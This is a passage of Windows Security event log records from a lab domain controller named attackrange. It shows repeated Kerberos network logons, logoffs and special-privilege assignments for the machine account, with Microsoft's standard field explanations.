
Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64197

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249275
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE102D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249301
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE132A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249300
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE132A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64205

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249299
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE132A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249298
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE12C9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249297
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE12C9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64204

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249296
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE12C9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249295
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1263

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249294
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1263
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64203

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249293
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1263

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249292
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1202

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249291
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1202
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64202

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249290
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1202

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249313
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1524

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249312
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE1524
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64209

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249311
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE1524

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249310
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE14C3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249309
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE14C3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64208

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249308
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE14C3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249307
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE145D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249306
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE145D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64207

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249305
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE145D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249304
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE13FC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249303
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xE13FC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64206

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249302
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xE13FC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249346
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8148B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249345
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8158E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249344
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81604

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249343
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8167A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249342
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
